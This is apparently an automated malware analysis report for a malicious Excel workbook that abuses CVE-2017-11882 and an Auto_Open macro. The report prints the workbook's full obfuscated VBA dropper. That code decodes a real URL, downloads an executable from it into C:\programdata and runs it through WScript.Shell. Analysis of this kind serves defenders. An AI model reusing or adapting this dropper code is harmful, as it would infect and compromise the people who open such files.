Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7af7596221989569…

MALICIOUS

Office (OOXML)

48.3 KB Created: 2020-02-01 18:28:07 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2020-09-07
MD5: f3406ab209f8610badf05c1d36e6336b SHA-1: 4dd919c217d65147e9a8535f6c3cdc3b07f78e08 SHA-256: 7af7596221989569fd75cd4ede98c88b661a2cb8d8011f52c6a5654a1487fe93
452 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Excel document containing a VBA Auto_Open macro that leverages the CVE-2017-11882 vulnerability via an embedded Equation Editor OLE object. This object is configured to execute a command that renames a temporary file and then runs a Windows Script File (.wsf) payload. The embedded URL likely points to the second-stage payload.

Heuristics 12

  • CVE-2017-11882 — Equation Editor command stager critical CVE likely CVE_2017_11882_EQUATION_NATIVE_CMD
    Embedded Equation Editor OLE data contains an invalid Equation Native/MTEF stream with an embedded command stager. This is likely CVE-2017-11882 exploitation because the vulnerable Equation Editor component is reached and the malformed native stream directly carries process-launch bytes.
  • Equation Editor OLE object high CVE related OLE_EQUATION_EDITOR
    Embedded OLE object xl/embeddings/oleObject3.bin contains the Equation Editor CLSID, the legacy component exploited by CVE-2017-11882, CVE-2018-0802, and CVE-2018-0798.
  • ClamAV: Xls.Dropper.Sdrop-9451844-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Sdrop-9451844-0
  • Embedded Office object carries macros critical OFFICE_EMBEDDED_MACRO_OBJECT
    This document embeds a second Office file that itself contains a VBA macro project or an Excel 4.0 (XLM) macro sheet. Hiding a macro-bearing workbook or document inside another document — frequently under an obfuscated, non-standard part name — is a macro-smuggling technique that defeats scanners which only inspect the outer document's macro storage. No benign authoring workflow stages a hidden macro project this way.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    zbzkadei37223432345x = zbzkadei37223432345x + "    if ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323 Then vvfebtrfdhbtrdfg = ""utf-16le"" Else vvfebtrfdhbtrdfg = ""utf-8""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    mgyftgcdrfsrthgfrty = ""CreateObject""  '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    leftieiehtegy33gy = ""(""" + vbCrLf '9100
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module2"
Sub Auto_Open()
zbzkadei37223432345x = zbzkadei37223432345x + "cft6ygvcr4rcvfgyu = ""bhju43h3uhiweokwgui4gukf4yugwEHJWERREGIH4FH874EUFWEHYUihruihrejigmg4b43y7u437843oji43ikotj43rfwet4345gy54yergt4e5tg3w54yt3""" + vbCrLf '9100
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Payload URL recovered from embedded OLE object (1 URL) info OOXML_EMBEDDED_OBJECT_URL
    An embedded OLE object (xl/word/ppt embeddings) carries a next-stage download URL in its Ole10Native/Package stream — stored literally (incl. UTF-16) or base64-encoded — which the package-level URL sweep does not see. Surfaced as an IOC; self-validating (only real payload hosts).
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.traitements-ctdec-arveindustries.com/templates/atomic/images/bnn.exe In document text (OOXML body / shared strings)

Extracted artifacts 9

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 30798 bytes
SHA-256: 88cf3fd9d20abe32ebda2a4b13be7178648686f1db12d2ea6f502868b949ce71
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"
Sub Auto_Open()
zbzkadei37223432345x = zbzkadei37223432345x + "cft6ygvcr4rcvfgyu = ""bhju43h3uhiweokwgui4gukf4yugwEHJWERREGIH4FH874EUFWEHYUihruihrejigmg4b43y7u437843oji43ikotj43rfwet4345gy54yergt4e5tg3w54yt3""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "cft6ygvcr4rcvfgyu = ""aHR0cDovL3d3dy50cmFpdGVtZW50cy1jdGRlYy1hcnZlaW5kdXN0cmllcy5jb20vdGVtcGxhdGVzL2F0b21pYy9pbWFnZXMvYm5uLmV4ZQ=="" " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "hj435fy43geu87r5i =""Ym5uLmV4ZQ==""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "bgfjeryhj57r6uj55jry6jr = ""b""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""in""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""."" " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""ba""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""se""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""64"" " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "dim cftcfrfcfrfcfr, path" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "cftcfrfcfrfcfr = ""later""  '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "dim fjnffbeuiv54gt5kyurrhtibg4ug6g, f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "cftcfrfcfrfcfr = ""later"":Sub grgergre28u38kDecode(iuheiugyugreurfy64, ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323) " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Dim vvfebtrfdhbtrdfg, oriutoiuy87t34gr4y367, hyuifiuygwhjekriu" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    if ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323 Then vvfebtrfdhbtrdfg = ""utf-16le"" Else vvfebtrfdhbtrdfg = ""utf-8""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    mgyftgcdrfsrthgfrty = ""CreateObject""  '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    leftieiehtegy33gy = ""(""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    rightieiehtegy33gy = "")""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    quoieiehtegy33gy = """"""""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    jbhgyuf7y8uiokjh = ""Ms""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""xm""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""l2""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + "".D""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""OM""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""Document""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    o9u7hgtyuei983jh = "".Cr""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""eate""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""Ele""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ment""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""(""""a""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ux"""")""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    yehrfjdks = ""s""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    yehrfjdks = yehrfjdks + ""et lsksjegefectvvjdk = "" + mgyftgcdrfsrthgfrty + leftieiehtegy33gy + quoieiehtegy33gy + jbhgyuf7y8uiokjh + quoieiehtegy33gy + rightieiehtegy33gy + o9u7hgtyuei983jh" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Execute(yehrfjdks) " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    lsksjegefectvvjdk.DataType = bgfjeryhj57r6uj55jry6jr '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    lsksjegefectvvjdk.Text = iuheiugyugreurfy64 " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    aaax = ""ADODB.Stream"" '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    novarue = ""Node""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    nvceuwkbfweu = ""novarue = novarue + """"TypedValue""""""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Execute(nvceuwkbfweu)" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    wwityetygehrer = ""ieeeeeeeeehhhhhfgfg"" + "" = lsksjegefectvvjdk."" + novarue" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Execute(wwityetygehrer)" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    If LCase(vvfebtrfdhbtrdfg) = ""utf-16le"" then " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + " fjnffbeuiv54gt5kyurrhtibg4ug6g = CStr(ieeeeeeeeehhhhhfgfg)" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Else ' Convert the specified text encoding to a VBScript string." + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            mgyftgcdrfsrthgfrty = ""CreateObject""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            veuriieug34jr = ""Set baax = "" + mgyftgcdrfsrthgfrty + ""(aaax)""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            Execute(veuriieug34jr) '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            djdufyfe67u3yhu = ""baax.Type = 1:baax.Open:baax.Wr"" + ""ite ieeeeeeeeehhhhhfgfg""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            Execute(djdufyfe67u3yhu)" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            baax.Position = 0" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            baax.Type = 2 ' adTypeText" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            baax.CharSet = vvfebtrfdhbtrdfg" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            fjnffbeuiv54gt5kyurrhtibg4ug6g = baax.ReadText '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            baax.Close" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    End If" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "end sub" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "Sub kjjjjjjjjjjjjjjjjjj(iuheiugyugreurfy64, ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323)" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Dim vvfebtrfdhbtrdfg " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    if ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323 Then vvfebtrfdhbtrdfg = ""utf-16le"" Else vvfebtrfdhbtrdfg = ""utf-8"" '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + " " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    mgyftgcdrfsrthgfrty = ""CreateObject""  '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    leftieiehtegy33gy = ""(""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    rightieiehtegy33gy = "")""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    quoieiehtegy33gy = """"""""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    jbhgyuf7y8uiokjh = ""Ms""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""xm""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""l2""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + "".D""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""OM""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""Document""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    o9u7hgtyuei983jh = "".Cr""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""eate""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""Ele""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ment""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""(""""a""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ux"""")""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Execute(""Set lsksjegefectvvjdk = "" + mgyftgcdrfsrthgfrty + leftieiehtegy33gy + quoieiehtegy33gy + jbhgyuf7y8uiokjh + quoieiehtegy33gy + rightieiehtegy33gy + o9u7hgtyuei983jh) " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   lsksjegefectvvjdk.DataType = bgfjeryhj57r6uj55jry6jr" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    lsksjegefectvvjdk.Text = iuheiugyugreurfy64 " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    aaax = ""ADODB.Stream""  '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    novarue = ""Node""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Execute(""novarue = novarue + """"TypedValue"""""")" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Execute(""ieeeeeeeeehhhhhfgfg = lsksjegefectvvjdk."" + novarue) '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    If LCase(vvfebtrfdhbtrdfg) = ""utf-16le"" then" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "        f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF = CStr(ieeeeeeeeehhhhhfgfg)" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Else ' Convert the specified text encoding to a VBScript string." + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            mgyftgcdrfsrthgfrty = ""CreateObject""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            Execute(""Set baax = "" + mgyftgcdrfsrthgfrty + ""(aaax)"") " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            baax.Type = 1 ' adTypeBinary '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            Execute(""baax."" + ""Open"") " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            baax.Write ieeeeeeeeehhhhhfgfg" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            baax.Position = 0 '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            baax.Type = 2 ' adTypeText" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            baax.CharSet = vvfebtrfdhbtrdfg" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF = baax.ReadText " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "            baax.Close" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    End If" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "end sub" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "Execute(""call "" + ""grgergre28u38kDecode(hj435fy43geu87r5i,False)""):call kjjjjjjjjjjjjjjjjjj(cft6ygvcr4rcvfgyu,False) " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "Sub xdecd( dfgerge, vcvxcv )" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   cobvar = ""Scripting.FileSystemObject""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   Set fso = CreateObject(cobvar) " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   path = ""C""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   path = path + "":""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   path = path + ""\program""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   Execute(""path = path + """"data\asc"""" + """".txt"""""")" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   Execute(""gybghbgyh = fso.File"" + ""Exists(path)"")" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   If(gybghbgyh) Then" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "      Execute(""fso.DeleteFile(path)"") '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "      msg = path & "" exists.""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "      Execute(""gtyjnhjkfirejhrrhy=dfgerge:uytrfghjhfrtyhgf=vcvxcv"") " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "      skivreuifyue43u = ""W""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "      skivreuifyue43u = skivreuifyue43u + ""Script""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "       skivreuifyue43u = skivreuifyue43u + "".""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "       m = skivreuifyue43u + ""Sh""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "       varforell = ""e"" + ""l""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "       varforell = varforell + Right(varforell, 1)" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "       m = m + varforell '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "       Execute(""l=m"")  '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "       set lkhnjhgfdrtyujh = CreateObject(l)" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   Else" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "      msg = path & "" doesn't exist.""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   End If" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Dim i, objFile, objFSO, skivreuifyue43u, strFile, strMsg" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Const ForReading = 1, ForWriting = 2, ForAppending = 8 " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    slashy = ""/""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Set objFSO = CreateObject(cobvar) '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Execute(""ggfffffffffggggggg = objFSO.Folder"" + ""Exists(uytrfghjhfrtyhgf)"")" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Execute(""hdlkvgbfndm = objFSO.Folder"" + ""Exists( Left( uytrfghjhfrtyhgf, InStrRev( uytrfghjhfrtyhgf, """"\"""" ) - 1 ) )"")" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    If(ggfffffffffggggggg) Then" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "        fje4ue783hu73 = ""Path(""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "        fje4ue783hu73 = fje4ue783hu73 +  ""gtyjnhjkfirejhrrhy, InStrRev( gtyjnhjkfirejhrrhy, slashy ) + 1 ) )""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "        obvrva = "" = objFSO""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "        Execute(""strFile"" + obvrva + ""."" + ""Build"" + fje4ue783hu73) '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    ElseIf(hdlkvgbfndm) Then" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "        strFile = uytrfghjhfrtyhgf" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Else" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "        Exit Sub" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    End If" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Set skivreuifyue43u = CreateObject( ""WinHttp.WinHttpRequest.5.1"" )" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   'Set skivreuifyue43u = CreateObject( ""Microsoft.XMLHTTP"" )" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   dim stream_obj" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   ado = ""ADODB.Stream"" " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   Execute(""set stream_obj = CreateObject(ado)"")" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Execute(""skivreuifyue43u."" + ""Open """"GET"""", gtyjnhjkfirejhrrhy, False"")" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "    Execute(""skivreuifyue43u."" + ""Send"")" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   stream_obj.type = 1" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   Execute(""stream_obj."" + ""open"") '148745" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   Execute(""stream_obj.write skivreuifyue43u.Respons"" + ""eBody"") " + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "   Execute(""stream_obj.save"" + ""tof"" + ""ile strFile, 2"")" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "End Sub" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "dieueehniv = ""exec """ + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "mancan = ""lkhnjhgfdrtyujh."" + dieueehniv + ""hj435fy43geu87r5i""" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "hj435fy43geu87r5i = ""C:\progra"" + ""mdata\""+fjnffbeuiv54gt5kyurrhtibg4ug6g" + vbCrLf '9100
zbzkadei37223432345x = zbzkadei37223432345x + "Execute(""xdecd f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF, hj435fy43geu87r5i:dim lkhnjhgfdrtyujh:xax = mancan:Execute(xax)"")" + vbCrLf '9100

    On Error Resume Next
mddjekfr = "........................................................."
pwqmekddg = ""
If hournow > -2322 Then
    pwqmekddg = pwqmekddg & Left(mddjekfr, 1)
    pwqmekddg = pwqmekddg & "s"
    pwqmekddg = pwqmekddg & "h"
    pwqmekddg = pwqmekddg + "e"
    pwqmekddg = pwqmekddg + "ll"
End If

Range("A1:C1").Select '148745
Dim vch
vch = "b"
Selection.Font.Name = "Arial" '148745
Selection.Font.Bold = True
Selection.Interior.Color = vbGreen
xzxz = "W"
xzxz = xzxz & "scr"
xzxz = xzxz & "ipt"
xzxz = xzxz & pwqmekddg
hournow = Hour(Time()) '148745
If hournow > -1 Then
    yyyyvar = "e "
End If
If hournow < 25 Then
x = "C:\program"
x = x + "data" '148745
x = x + "\asc.txt"
xxxxxpath = "Windows\"
Path = "C:\" + xxxxxpath + "System32\c" + "script" + ".ex"
Path = Path + yyyyvar
End If

Dim i As Integer '148745
'ii = InputBox("Enter Value", "Enter Serial Numbers")

Handler:
Dim gfdgfdgdf As Object
ajdbey84jwgw = "Scri"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
